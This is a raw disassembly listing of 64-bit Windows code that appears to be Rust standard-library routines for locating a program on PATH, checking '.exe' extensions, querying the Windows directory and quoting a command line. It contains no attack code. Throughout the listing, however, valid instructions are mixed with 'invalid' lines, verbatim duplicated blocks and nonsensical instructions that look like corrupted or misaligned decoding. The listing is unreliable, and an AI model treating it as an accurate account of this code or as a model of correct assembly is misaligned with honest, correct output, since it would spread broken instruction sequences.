movaps xmm2, xmmword [rbp + 0x520]
movaps xmm3, xmmword [rbp + 0x530]
movaps xmmword [rbp + 0x20], xmm3
movaps xmmword [rbp + 0x10], xmm2
movaps xmmword [rbp], xmm1
movdqa xmmword [rbp - 0x10], xmm0
mov r14, r15
mov rax, qword [rbp - 0x10]
mov qword [rbp + 0x5b0], rax
mov rax, qword [rbp - 8]
mov qword [rbp + 0x5d8], rax
mov r8, qword [rbp + 8]
mov rcx, qword [rbp + 0x10]
movzx r15d, byte [rbp + 0x20]
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x5c8], rax
dec qword [rbp + 0x4f0]
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x5a8], rax
test al, 5
add byte [rax], al
test al, 5
add byte [rax], al
movzx eax, byte [rbp + 0x40]
mov byte [rbp + 0x5b8], al
cmp byte [rbp + 0x400], 0
je 0x1400877cb
mov qword [rbp + 0x598], rcx
mov qword [rbp + 0x568], r8
test rdi, rdi
je 0x14008a3b0
mov rax, qword [rbx + 0x3d8]
mov qword [rbp + 0x4e0], rax
dec rdi
mov qword [rbp + 0x4e8], rdi
mov qword [rax + 0x160], 0
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, qword [rbp + 0x568]
mov rcx, qword [rbp + 0x598]
mov eax, 0
cmp r15b, 2
mov r15, r14
mov rdi, r13
mov r9, r12
je 0x140086fc9
test rcx, rcx
je 0x1400877fa
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r9, r12
cmp qword [rbp + 0x5d8], 0
je 0x14008781d
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x5b0]
call qword [sym.imp.kernel32.dll_HeapFree]
mov r9, r12
mov eax, 0
cmp byte [rbp + 0x5b8], 2
je 0x140086fc9
mov eax, 0
cmp qword [rbp + 0x5a8], 0
je 0x140086fc9
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x5c8]
call qword [sym.imp.kernel32.dll_HeapFree]
mov r9, r12
xor eax, eax
jmp 0x140086fc9
mov rax, qword [rbp + 0x4f0]
mov qword [rbp + 0x428], rax
movdqu xmm0, xmmword [rbp + 0x4e0]
movdqu xmmword [rbp + 0x418], xmm0
mov qword [rbp + 0x410], 1
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x1400878b7
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14008a3cd
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 4
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14008a3cd
mov dword [rax], 0x48544150
mov rcx, rax
add rcx, 4
mov qword [rbp + 0x500], rax
mov qword [rbp + 0x508], rcx
mov word [rbp + 0x510], 0
lea rcx, [rbp + 0x460]
lea rdx, [rbp + 0x500]
mov qword [rbp + 0x5b8], rax
call fcn.14008b950
mov r8, qword [rbp + 0x5b8]
mov qword [rbp + 8], r8
mov qword [rbp + 0x10], 4
mov qword [rbp + 0x18], 4
mov byte [rbp + 0x20], 0
movdqu xmm0, xmmword [rbp + 0x460]
movdqa xmmword [rbp - 0x10], xmm0
mov rbx, qword [rbp + 0x470]
mov qword [rbp], rbx
mov rsi, qword [rbp - 0x10]
mov r14, qword [rbp + 0x418]
test r14, r14
je 0x140087a19
mov rax, qword [rbp + 0x420]
mov qword [rbp + 0x5d8], rax
mov r13, qword [sym.imp.kernel32.dll_CompareStringOrdinal]
lea rcx, [r14 + 0x168]
movzx eax, word [r14 + 0x3d2]
mov qword [rbp + 0x5a8], rax
imul rdi, rax, 0x38
mov r15, 0xffffffffffffffff
nop dword [rax]
test rdi, rdi
je 0x1400879d0
lea r12, [rcx + 0x38]
mov r8, qword [rcx]
mov r9d, dword [rcx + 0x10]
mov dword [rsp + 0x20], 1
mov rcx, rsi
mov edx, ebx
call r13
inc r15
add rdi, 0xffffffffffffffc8
mov rcx, r12
cmp eax, 3
je 0x140087990
mov r15, qword [rbp + 0x5a8]
mov rax, qword [rbp + 0x5d8]
sub rax, 1
jb 0x140087ed8
xor r12d, r12d
jmp 0x140087a28
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp - 8], 0
cmp dword [rbp - 8], 0
cmp dword [rbp - 8], 0
je 0x140087a50
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x4d8]
mov r15, qword [rax + 0x40]
lea rcx, str.program_path_has_no_file_name
mov qword [rbp + 0x5d8], rcx
test r15, r15
je 0x140087abf
mov r14, qword [rax + 0x30]
cmp r15, 4
jae 0x140087a81
lea rax, [0x14008da80]
jmp 0x140087aaa
mov eax, dword [r14]
bswap eax
xor ecx, ecx
cmp eax, 0x5c5c3f5c
setb cl
cmp eax, 0x5c5c3f5d
adc ecx, 0xffffffff
lea rcx, [0x14008da70]
lea rax, [0x14008da80]
cmove rax, rcx
movzx esi, byte [r15 + r14 - 1]
mov byte [rbp + 0x5e7], 1
mov ecx, esi
call rax
test al, al
je 0x140087b2e
mov rax, qword [rbp + 0x4f8]
mov rcx, qword [rbp + 0x5d8]
mov qword [rax], rcx
mov qword [rax + 0x10], 2
cmp qword [rbp + 0x410], 0
je 0x140087c46
mov rcx, qword [rbp + 0x418]
test rcx, rcx
je 0x140087c2d
mov rdx, qword [rbp + 0x420]
mov rax, qword [rbp + 0x428]
mov qword [rbp - 8], 0
mov qword [rbp], rcx
mov qword [rbp + 8], rdx
mov qword [rbp + 0x18], 0
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov ecx, 1
jmp 0x140087c31
cmp r15, 3
jbe 0x140087b94
movzx eax, byte [r15 + r14 - 4]
lea ecx, [rax - 0x41]
cmp cl, 0x1a
setb cl
shl cl, 5
or cl, al
cmp cl, 0x2e
jne 0x140087b94
movzx eax, byte [r14 + r15 - 3]
lea ecx, [rax - 0x41]
cmp cl, 0x1a
setb cl
shl cl, 5
or cl, al
cmp cl, 0x65
jne 0x140087b94
movzx eax, byte [r14 + r15 - 2]
lea ecx, [rax - 0x41]
cmp cl, 0x1a
setb cl
shl cl, 5
or cl, al
cmp cl, 0x78
jne 0x140087b94
lea eax, [rsi - 0x41]
cmp al, 0x1a
setb al
shl al, 5
or al, sil
cmp al, 0x65
sete al
jmp 0x140087b96
xor eax, eax
lea rbx, [r14 + r15]
xor ecx, ecx
mov qword [rbp + 0x5b8], r15
nop word cs:[rax + rax]
cmp r15, rcx
je 0x140087c77
invalid
invalid
add byte [rax], al
invalid
test byte [rsi + 0x41000000], bh
movzx edx, byte [rsi + rcx]
movzx edx, byte [r14 + rcx]
cmp edx, 0x2f
je 0x140087bcb
inc rcx
cmp edx, 0x5c
jne 0x140087bb0
test al, al
mov qword [rbp + 0x5a8], rbx
je 0x140087d53
mov byte [rbp + 0x5e7], 1
lea rcx, [rbp - 0x10]
mov rdx, r14
mov r8, r15
call fcn.14007bfb0
mov rcx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
test rcx, rcx
je 0x140087e43
mov rdx, qword [rbp]
mov qword [rbp - 0x10], rcx
mov qword [rbp - 8], rax
mov qword [rbp], rdx
mov byte [rbp + 0x5e7], 1
lea rcx, [rbp + 0x4e0]
lea rdx, [rbp - 0x10]
call fcn.14008da90
jmp 0x1400888bc
xor ecx, ecx
xor eax, eax
mov qword [rbp - 0x10], rcx
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x30], rax
lea rcx, [rbp - 0x10]
call fcn.14008b880
mov rsi, qword [rbp + 0x448]
cmp dword [rsi], 4
jb 0x140087c5c
mov rcx, qword [rsi + 8]
call qword [sym.imp.kernel32.dll_CloseHandle]
movaps xmm6, xmmword [rbp + 0x5f0]
add rsp, 0x688
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
xor r8d, r8d
lea rax, str.nul_byte_found_in_provided_data
mov qword [rbp + 0x5d8], rax
mov rax, r14
jmp 0x140087c9c
xor r8d, r8d
test cx, cx
je 0x140087abf
mov cx, 1
test r8w, r8w
jne 0x140087c90
cmp rax, rbx
je 0x140087ea2
movzx r9d, byte [rax]
movzx edx, r9b
test dl, dl
js 0x140087cc0
inc rax
jmp 0x140087d22
mov r8d, edx
and r8d, 0x1f
movzx r10d, byte [rax + 1]
and r10d, 0x3f
cmp dl, 0xdf
jbe 0x140087d14
movzx edx, byte [rax + 2]
shl r10d, 6
and edx, 0x3f
or edx, r10d
cmp r9b, 0xf0
jb 0x140087d2c
movzx r9d, byte [rax + 3]
add rax, 4
and r8d, 7
shl r8d, 0x12
shl edx, 6
and r9d, 0x3f
or r9d, edx
or r9d, r8d
mov edx, r9d
cmp edx, 0xffff
jbe 0x140087d22
jmp 0x140087d3f
add rax, 2
shl r8d, 6
or r8d, r10d
mov edx, r8d
xor r8d, r8d
mov ecx, edx
jmp 0x140087c93
add rax, 3
shl r8d, 0xc
or edx, r8d
cmp edx, 0xffff
jbe 0x140087d22
and edx, 0x3ff
loop 0x140087d41
inc dword [rbx]
add byte [rax], al
add eax, dword [rax]
add byte [rcx + 0xdc00ca], al
add byte [rcx - 0x77], al
shr cl, 1
invalid
or edx, 0xdc00
mov r8d, edx
jmp 0x140087c93
test r15, r15
js 0x14008a4af
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
mov ss, word [rdi + rax]
add byte [rax - 0x7b], cl
leave
mov ss, word [rdi + rax]
add byte [rax - 0x7b], cl
leave
jne 0x140087d88
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14008a496
mov rcx, rax
mov qword [0x1400f91f8], rax
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x14008a496
mov rsi, rax
mov rcx, rax
mov rdx, r14
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp - 0x10], rsi
mov qword [rbp - 8], r15
mov qword [rbp], r15
mov byte [rbp + 8], 0
lea rdx, str..exeprogram_not_found
lea rcx, [rbp - 0x10]
mov r8d, 4
mov qword [rbp + 0x5d8], rsi
call fcn.140081ed0
mov rdi, qword [rbp - 0x10]
mov r15, qword [rbp - 8]
mov rsi, qword [rbp]
mov qword [rbp + 0x3f8], r15
mov qword [rbp + 0x3f0], rdi
mov byte [rbp + 0x5a6], 1
lea rcx, [rbp + 0x500]
mov rdx, rdi
mov r8, rsi
call fcn.14008db70
cmp qword [rbp + 0x500], 0
je 0x140087e5a
mov rax, qword [rbp + 0x510]
mov qword [rbp + 0x4f0], rax
movdqu xmm0, xmmword [rbp + 0x500]
movdqa xmmword [rbp + 0x4e0], xmm0
test r15, r15
jne 0x1400888aa
jmp 0x1400888bc
mov qword [rbp + 0x4e8], rax
mov qword [rbp + 0x4e0], 0
jmp 0x1400888bc
mov qword [rbp + 0x5b8], r15
mov qword [rbp + 0x5d8], rdi
mov rcx, rdi
mov rdx, rsi
call fcn.140086170
test rax, rax
je 0x140087f34
cmp rdx, 2
jne 0x140087ee0
movzx ecx, word [rax]
cmp ecx, 0x2e2e
jne 0x140087ee0
mov r8d, 2
xor r9d, r9d
mov r11, qword [rbp + 0x5d8]
jmp 0x140088827
cmp r15, 0xf
mov qword [rbp + 0x5a8], rbx
ja 0x140087f25
xor eax, eax
mov qword [rbp + 0x5b0], rax
xor eax, eax
nop word [rax + rax]
invalid
add byte [rax], r8b
invalid
cmp byte [r14 + rax], 0x2e
je 0x140087f4a
inc rax
cmp r15, rax
jne 0x140087ec0
jmp 0x140087f56
mov r8, rdx
mov r11, qword [rbp + 0x5d8]
nop word [rax + rax]
ror byte [rbx + rcx*4 - 0x63], 1
fadd dword [0x14f6e7eec]
invalid
test r8, r8
je 0x140087f40
mov rcx, r8
dec r8
cmp byte [rax + rcx - 1], 0x2e
jne 0x140087ef0
mov r10, rdx
sub r10, rcx
jb 0x14008a4f1
test r8, r8
je 0x140088821
mov r9, rax
add r9, rcx
mov rdx, r10
jmp 0x140088827
mov cl, 0x2e
mov rdx, r14
mov r8, r15
call fcn.1400452b0
jmp 0x140087f4f
mov r11, qword [rbp + 0x5d8]
jmp 0x140088847
mov r9, rax
xor eax, eax
jmp 0x140088827
mov eax, 1
mov qword [rbp + 0x5b0], rax
test r12, r12
je 0x140087f9f
add rdi, r12
mov qword [rbp + 0x460], r12
mov qword [rbp + 0x468], rdi
mov word [rbp + 0x470], 0
mov byte [rbp + 0x478], 1
mov byte [rbp + 0x5e7], 1
lea rcx, [rbp - 0x10]
lea rdx, [rbp + 0x460]
call fcn.1400819e0
movzx eax, byte [rbp + 8]
cmp al, 2
jne 0x140088280
mov byte [rbp + 0x5e7], 1
lea rcx, [rbp + 0x500]
call fcn.140081c70
cmp byte [rbp + 0x518], 2
jne 0x140087fd3
mov byte [rbp + 0x5e7], 1
lea rcx, [rbp + 0x500]
call fcn.14007a090
jmp 0x1400880a3
mov rcx, qword [rbp + 0x500]
mov rax, qword [rbp + 0x508]
mov qword [rbp + 0x5c8], rax
mov rsi, qword [rbp + 0x510]
mov rdi, qword [rbp + 0x518]
mov byte [rbp + 0x5a5], 0
mov qword [rbp + 0x5d8], rcx
mov rdx, rsi
call fcn.140084d30
cmp rsi, rdx
cmovb rdx, rsi
test rax, rax
cmove rdx, rsi
mov rax, qword [rbp + 0x5d8]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp + 0x5c8]
mov qword [rbp - 8], rax
mov qword [rbp], rdx
mov qword [rbp + 8], rdi
lea rcx, [rbp - 0x10]
mov rdx, r14
mov r8, r15
call fcn.1400837f0
cmp qword [rbp + 0x5b0], 1
je 0x14008805a
lea rcx, [rbp - 0x10]
call fcn.1400862a0
mov rsi, qword [rbp - 0x10]
mov r8, qword [rbp]
lea rcx, [rbp + 0x460]
mov rdx, rsi
call fcn.14008db70
cmp qword [rbp - 8], 0
je 0x14008808a
mov qword [rbp + 0x5c8], r14
mov qword [rbp + 0x4c0], 2
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x4c8], xmm0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x5d8], rax
xor r14d, r14d
xor esi, esi
xor r12d, r12d
cmp r8, 0x201
jb 0x1400880ff
add dword [rdx], 0x6f0ff300
test dword [rax + 5], edi
add byte [rax], al
movdqu xmmword [rbp + 0x468], xmm0
mov rax, qword [rbp + 0x588]
mov qword [rbp + 0x478], rax
test dword [rax + 4], edi
add byte [rax], al
mov qword [rbp + 0x460], 0
mov sil, 1
jmp 0x1400883b3
lea r12, [rbp + 9]
lea r13, [rbp + 0x519]
lea rsi, [rbp - 0x10]
lea rdi, [rbp + 0x460]
mov rbx, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400882be
mov byte [rbp + 0x5e7], 1
mov rcx, rsi
mov rdx, rdi
call fcn.1400819e0
movzx eax, byte [rbp + 8]
cmp al, 2
je 0x140087f9f
mov r8, qword [rbp - 0x10]
mov rcx, qword [rbp - 8]
mov rdx, qword [rbp]
test rdx, rdx
jne 0x1400882e1
test rcx, rcx
je case.0x14007e48a.411
mov rcx, qword [0x1400f91f8]
xor edx, edx
call rbx
jmp case.0x14007e48a.411
mov r9d, dword [r12]
mov r10d, dword [r12 + 3]
mov dword [r13 + 3], r10d
push rbp
add eax, dword [rbp - 0x77]
add byte [r9 + rcx*4 - 0x7b], r9b
add byte [0xc95082fb], al
lea ecx, [rax]
add eax, 0x89480000
xchg ebp, eax
adc byte [0xc5908309], al
add eax, 0x85880000
sbb byte [0xcd50830f], al
lea eax, [rax]
add eax, 0x894c0000
mov r8, r15
push rbp
add eax, dword [rbp - 0x77]
add byte [r9 + rcx*4 - 0x7b], r9b
add byte [0xc95082fb], al
lea ecx, [rax]
add eax, 0x89480000
xchg ebp, eax
adc byte [0xc5908309], al
add eax, 0x85880000
sbb byte [0xcd50830f], al
lea eax, [rax]
add eax, 0x894c0000
mov r8, r15
call fcn.1400837f0
cmp qword [rbp + 0x5b0], 1
je 0x140088335
lea rcx, [rbp + 0x500]
call fcn.1400862a0
dec dword [rbx + rcx*4 - 0x43]
add byte [0xcb54833e], al
test dword [rax], edx
add eax, 0x89480000
mov ecx, esi
mov r15, qword [rbp + 0x500]
mov r8, qword [rbp + 0x510]
mov rcx, rsi
mov ecx, esi
mov rdx, r15
call fcn.14008db70
cmp qword [rbp + 0x508], 0
je 0x140088366
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call rbx
mov r8, qword [rbp - 0x10]
test r8, r8
jne 0x1400892fa
test r14, r14
je 0x1400883ce
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x5d8]
call qword [sym.imp.kernel32.dll_HeapFree]
test sil, sil
mov r14, qword [rbp + 0x5c8]
je 0x1400883ec
mov r8, qword [rbp + 0x468]
test r8, r8
jne case.0x140083948.181
add byte [rax], al
jmp 0x1400883ff
lea rcx, [rbp + 0x468]
mov byte [rbp + 0x5e7], 1
call fcn.14007a090
mov qword [rbp + 0x4c0], 2
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x4c8], xmm0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x5d8], rax
xor esi, esi
xor r14d, r14d
xor ebx, ebx
cmp r8, 0x201
jb 0x140088456
jmp 0x140088470
mov r12d, 0x200
lea r13, [rbp - 0x10]
mov r15, r8
jmp 0x1400884c7
sub r8, rbx
sub r14, rbx
cmp r14, r8
jae 0x14008849f
lea rcx, [rbp + 0x4c0]
mov rdx, rbx
call fcn.1400ae520
add al, byte [rax]
add al, byte [rax]
mov rax, qword [rbp + 0x4c0]
mov qword [rbp + 0x5d8], rax
mov rsi, qword [rbp + 0x4c8]
mov eax, 0xffffffff
cmp rsi, rax
mov ebx, 0xffffffff
cmovb rbx, rsi
mov qword [rbp + 0x4d0], rbx
mov r14, rsi
mov r12, rbx
mov r13, qword [rbp + 0x5d8]
mov r15, rbx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov rcx, r13
mov edx, r15d
call qword [sym.imp.kernel32.dll_GetWindowsDirectoryW]
mov edi, eax
test eax, eax
jne 0x1400884ef
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne case.0x14007ec68.396
mov r8d, edi
cmp r15, r8
jne 0x140088440
mov rdx, r14
mov r8, r15
call fcn.1400837f0
cmp qword [rbp + 0x5b0], 1
je 0x140088575
add byte [rax], al
mov r8, qword [rbp + 0x510]
lea rcx, [rbp + 0x578]
mov rdx, rdi
cli
cli
call fcn.14008db70
cmp qword [rbp + 0x508], 0
add eax, 0x74000000
invalid
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
movdqu xmm0, xmmword [rbp + 0x578]
js 0x1400885b9
add byte [rax], al
movdqu xmmword [rbp + 0x468], xmm0
test dword [rax + 4], ebp
add byte [rax], al
mov rax, qword [rbp + 0x588]
mov qword [rbp + 0x478], rax
mov qword [rbp + 0x460], 0
test dword [rax + 4], esp
add byte [rax], al
add byte [rax], al
add byte [rax], al
test dword [rax + 4], esp
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov dil, 1
jmp case.0x14007edf4.384
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp + 0x468], rax
mov qword [rbp + 0x460], 1
invalid
add al, 0
add byte [rcx], al
add byte [rax], al
add byte [rcx], dh
dec dword [rbx + rcx*4 - 0x4b]
mov ch, 0xc8
add eax, 0x8b4c0000
mov ebp, 0x5b8
invalid
add eax, 0x8b4c0000
mov ebp, 0x5b8
test rsi, rsi
je 0x140088627
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x5d8]
call qword [sym.imp.kernel32.dll_HeapFree]
test eax, ebx
add eax, 0x15ff0000
loope 0x1400886a2
add al, byte [rax]
test dil, dil
je case.0x140083b7b.169
mov r8, qword [rbp + 0x468]
test r8, r8
je 0x14008867b
movdqu xmm6, xmmword [rbp + 0x470]
jo 0x140088642
add byte [rax], al
movq qword [rbp + 0x5d8], xmm6
pshufd xmm0, xmm6, 0xee
out dx, al
invalid
out dx, al
movq r9, xmm0
cmp r9, 5
mov qword [rbp + 0x5b8], r8
jae 0x1400888ee
add cl, ch
pushfq
add al, byte [rax]
add byte [rax - 0x73], cl
lea rcx, [rbp + 0x468]
jmp case.0x140088c0a.2
lea rcx, [rbp + 0x468]
mov byte [rbp + 0x5e7], 1
call fcn.14007a090
mov byte [rbp + 0x5e7], 1
lea rdx, str.PATHlibrary_std_src_sys_commonprocess.rs
adc eax, 0x60ebb
adc eax, 0x60ebb
lea rcx, [rbp + 0x578]
mov r8d, 4
call fcn.140080100
cmp byte [rbp + 0x590], 2
add byte [rdx], al
add byte [rdx], al
je 0x14008880e
mov rcx, qword [rbp + 0x578]
mov rax, qword [rbp + 0x580]
mov qword [rbp + 0x5d8], rax
test eax, ebx
add eax, 0x8b480000
test dword [rax + 0x48000005], ecx
add eax, ecx
test eax, ebx
add eax, 0x8b480000
test dword [rax + 0x48000005], ecx
add eax, ecx
mov qword [rbp + 0x5c8], rcx
mov qword [rbp + 0x460], rcx
mov qword [rbp + 0x468], rax
mov word [rbp + 0x470], 0
mov byte [rbp + 0x478], 1
add al, 0
add byte [rcx], al
add al, 0
add byte [rcx], al
lea r12, [rbp + 9]
lea r13, [rbp + 0x519]
lea rsi, [rbp - 0x10]
lea rdi, [rbp + 0x460]
add byte [rax], al
add byte [rax], al
mov rbx, qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, rsi
mov rdx, rdi
call fcn.1400819e0
jmp 0x140088721
mov rcx, rsi
mov rdx, rdi
call fcn.1400819e0
movzx eax, byte [rbp + 8]
cmp al, 2
je 0x1400887ee
mov r8, qword [rbp - 0x10]
mov rcx, qword [rbp - 8]
mov rdx, qword [rbp]
test rdx, rdx
jne 0x140088750
mov ebp, 0x5b0
add dword [rsp + rcx + 0x48], esi
lea ecx, [rbp + 0x500]
call fcn.1400862a0
mov r15, qword [rbp + 0x500]
mov r8, qword [rbp + 0x510]
mov rcx, rsi
mov rdx, r15
mov edx, edi
mov edx, edi
call fcn.14008db70
cmp qword [rbp + 0x508], 0
je 0x1400887d5
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call rbx
mov rax, qword [rbp - 0x10]
test rax, rax
jne 0x140089ea3
add cl, ch
sbb edi, edi
invalid
cmp qword [rbp + 0x5d8], 0
je 0x14008880e
lea rax, [0x1400ea428]
mov qword [rbp + 0x5d8], rax
jmp 0x140087abf
xor r9d, r9d
mov r8, rdx
test rax, rax
cmovne r9, rax
test r9, r9
je 0x140088847
test rax, rax
cmove r8, rdx
add r9, r8
sub r9, r11
cmp rsi, r9
cmovae rsi, r9
lea rcx, [rbp - 0x10]
mov rdx, r11
mov r8, rsi
call fcn.14007bfb0
mov rcx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
test rcx, rcx
je 0x140088885
mov rdx, qword [rbp]
mov qword [rbp - 0x10], rcx
mov qword [rbp - 8], rax
mov qword [rbp], rdx
lea rcx, [rbp + 0x4e0]
lea rdx, [rbp - 0x10]
call fcn.14008da90
jmp 0x140088897
mov qword [rbp + 0x4e8], rax
mov qword [rbp + 0x4e0], 0
mov rdi, qword [rbp + 0x5d8]
mov r15, qword [rbp + 0x5b8]
test r15, r15
je 0x1400888bc
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, qword [rbp + 0x4e0]
mov rax, qword [rbp + 0x4e8]
add byte [rax], al
mov qword [rbp + 0x5d8], rax
test r8, r8
je 0x140087abf
mov r9, qword [rbp + 0x4f0]
cmp r9, 5
mov qword [rbp + 0x5b8], r8
jb case.0x140088c0a.2
cmp word [r8 + r9*2 - 0xa], 0x2e
jne case.0x140088c0a.2
cmp word [r8 + r9*2 - 2], 0
je 0x140088bea
mov rax, qword [rbp + 0x4d8]
mov rsi, qword [rax + 0x90]
mov rdi, qword [rax + 0xa0]
mov bl, byte [rax + 0xc5]
mov qword [rbp + 0x500], 2
add byte [rax], al
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add al, byte [rax]
add byte [rax], al
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x508], xmm0
lea rcx, [rbp + 0x500]
add byte [rax], al
xor edx, edx
call fcn.140010890
jg 0x14008893b
dec dword [rax - 0x75]
test dword [rax], eax
add eax, 0x8b480000
add byte [rax - 0x75], cl
lea edx, [rax]
add eax, 0xc7660000
add al, 0x48
and al, byte [rax]
jg 0x14008893b
dec dword [rax - 0x75]
test dword [rax], eax
add eax, 0x8b480000
add byte [rax - 0x75], cl
add byte [rax - 0x75], cl
lea edx, [rax]
add eax, 0xc7660000
add al, 0x48
and al, byte [rax]
inc rcx
mov qword [rbp + 0x510], rcx
mov qword [rbp - 0x10], r14
mov rax, qword [rbp + 0x5a8]
mov qword [rbp - 8], rax
clc
clc
mov word [rbp], 0
lea rcx, [rbp + 0x500]
add byte [0xcd508980], al
push rbp
invalid
call fcn.14007c210
mov rdx, qword [rbp + 0x510]
add byte [rax], al
add byte [0xcd508980], al
push rbp
invalid
add byte [rax], al
cmp rdx, qword [rbp + 0x508]
jne 0x1400889aa
invalid
adc ecx, dword [rax - 0x73]
lea eax, [rax]
add eax, 0xede80000
lea rcx, [rbp + 0x500]
call fcn.140010890
mov rdx, qword [rbp + 0x510]
add byte [rax], al
add byte [0x12df089a0], al
jle 0x14008899a
dec dword [rax - 0x75]
xchg ebp, eax
adc byte [0xcb5089ac], al
add byte [rax], al
mov rax, qword [rbp + 0x500]
mov word [rax + rdx*2], 0x22
invalid
add al, 0x50
and al, byte [rax]
add byte [rax], al
mov rax, qword [rbp + 0x500]
mov word [rax + rdx*2], 0x22
invalid
add al, 0x50
and al, byte [rax]
mov dword [rax + rdx*2], 0xff480022
ret 0x8948
inc rdx
mov qword [rbp + 0x510], rdx
add byte [rax - 0x73], cl
add al, 0xbf
add byte [rax - 0x73], cl
add al, 0xbf
lea r15, [rsi + rax*8]
lea r14, [rbp + 0x500]
add byte [rax], al
add byte [rax], al
cmp rsi, r15
je 0x140088a4e
mov rdx, qword [rbp + 0x510]
cmp rdx, qword [rbp + 0x508]
jne 0x1400889f4
mov rcx, r14
mov ecx, esi
call fcn.140010890
mov rdx, qword [rbp + 0x510]
invalid
invalid
add byte [rax], al
adc byte [0xcb5089f6], al
test dword [rax], eax
add eax, 0xc7660000
add al, 0x50
and byte [rax], al
mov rax, qword [rbp + 0x500]
mov word [rax + rdx*2], 0x20
inc rdx
mov qword [rbp + 0x510], rdx
add eax, 0x894c0000
int1
add eax, 0x894c0000
int1
mov rdx, rsi
mov r8d, ebx
call fcn.14008dc50
push rdx
add byte [rax], al
push rdx
add byte [rax], al
mov rdi, rax
add rsi, 0x28
test rax, rax
je 0x1400889d0
stosd dword [rdi], eax
cmp qword [rbp + 0x508], 0
je 0x140088b71
test byte [rsi], bh
add dword [rax], eax
invalid
test byte [rsi], bh
add dword [rax], eax
add byte [rbx + rcx*4 - 0x7b], cl
add byte [0xcb508a3c], al
or eax, 0x707b7
mov r8, qword [rbp + 0x500]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140088b71
and eax, dword [rcx]
add byte [rax], al
mov rax, qword [rbp + 0x500]
mov rdi, qword [rbp + 0x508]
test rax, rax
je 0x140088b71
mov rdx, qword [rbp + 0x510]
mov r13b, 1
mov dword [rbp + 0x440], 0
mov rcx, qword [rbp + 0x5b8]
mov qword [rbp + 0x5b0], rcx
mov rcx, qword [rbp + 0x5d8]
mov qword [rbp + 0x5a8], rcx
mov qword [rbp + 0x4e0], rax
mov qword [rbp + 0x4e8], rdi
mov qword [rbp + 0x4f0], rdx
cmp rdx, rdi
jne 0x140088ad0
mov byte [rbp + 0x5d7], 1
lea rcx, [rbp + 0x4e0]
call fcn.140010890
mov rax, qword [rbp + 0x4e0]
mov rdx, qword [rbp + 0x4f0]
mov word [rax + rdx*2], 0
inc rdx
mov qword [rbp + 0x4f0], rdx
mov rcx, qword [rbp + 0x4d8]
cmp byte [rcx + 0xc4], 0
mov eax, 0x400
add al, 0
add byte [rcx - 0x41], al
or byte [rsi], al
add byte [rax], al
add al, 0
add byte [rcx - 0x41], al
or byte [rsi], al
add byte [rax], al
cmove r15d, eax
or r15d, dword [rcx + 0xc0]
cmp qword [rbp + 0x410], 0
je 0x140088bb3
mov dword [rbp + 0x430], r15d
mov rsi, qword [rbp + 0x418]
mov rdi, qword [rbp + 0x420]
add al, 0
add byte [rax - 0x75], cl
mov ch, 0x18
add al, 0
add byte [rax - 0x75], cl
mov ebp, 0x420
mov rbx, qword [rbp + 0x428]
mov qword [rbp + 0x4c0], rsi
add al, 0
add byte [rax - 0x77], cl
mov ebp, 0x4c8
mov qword [rbp + 0x4d0], rbx
mov qword [rbp + 0x578], 2
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x580], xmm0
test rbx, rbx
je 0x140088d75
mov r15d, 2
xor r12d, r12d
jmp 0x140088da9
mov rax, qword [rbp + 0x4f8]
mov qword [rax], rdi
mov qword [rax + 0x10], 2
xor esi, esi
cmp qword [rbp + 0x5d8], 0
je 0x140088ba5
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x5b8]
call qword [sym.imp.kernel32.dll_HeapFree]
